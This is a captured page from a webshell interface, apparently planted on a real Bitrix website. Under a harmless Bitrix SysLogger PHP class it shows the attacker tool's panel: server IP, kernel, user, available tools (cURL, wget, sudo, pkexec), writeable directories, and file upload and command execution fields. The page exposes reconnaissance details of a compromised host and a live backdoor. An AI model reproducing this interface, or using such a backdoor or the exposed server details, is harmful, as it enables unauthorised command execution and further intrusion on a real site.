403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/main/lib/diag/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/main/lib/diag/syslogger.php
<?php

/**
 * Bitrix Framework
 * @package bitrix
 * @subpackage main
 * @copyright 2001-2021 Bitrix
 */

namespace Bitrix\Main\Diag;

class SysLogger extends Logger
{
	protected $prefix;
	protected $flags;
	protected $facility;
	protected $connected = false;

	public function __construct(string $prefix = '', int $flags = LOG_ODELAY, int $facility = LOG_USER)
	{
		$this->prefix = $prefix;
		$this->flags = $flags;
		$this->facility = $facility;
	}

	protected function connect()
	{
		if (!$this->connected)
		{
			openlog($this->prefix, $this->flags, $this->facility);

			$this->connected = true;
		}
	}

	protected function logMessage(string $level, string $message)
	{
		$this->connect();

		syslog(static::$supportedLevels[$level], $message);
	}

	/**
	 * Converts syslog priority to LogLevel.
	 * @param int $priority
	 * @return string
	 */
	public static function priorityToLevel(int $priority)
	{
		static $levels = null;

		if ($levels === null)
		{
			$levels = array_flip(static::$supportedLevels);
		}

		return $levels[$priority] ?? \Psr\Log\LogLevel::WARNING;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit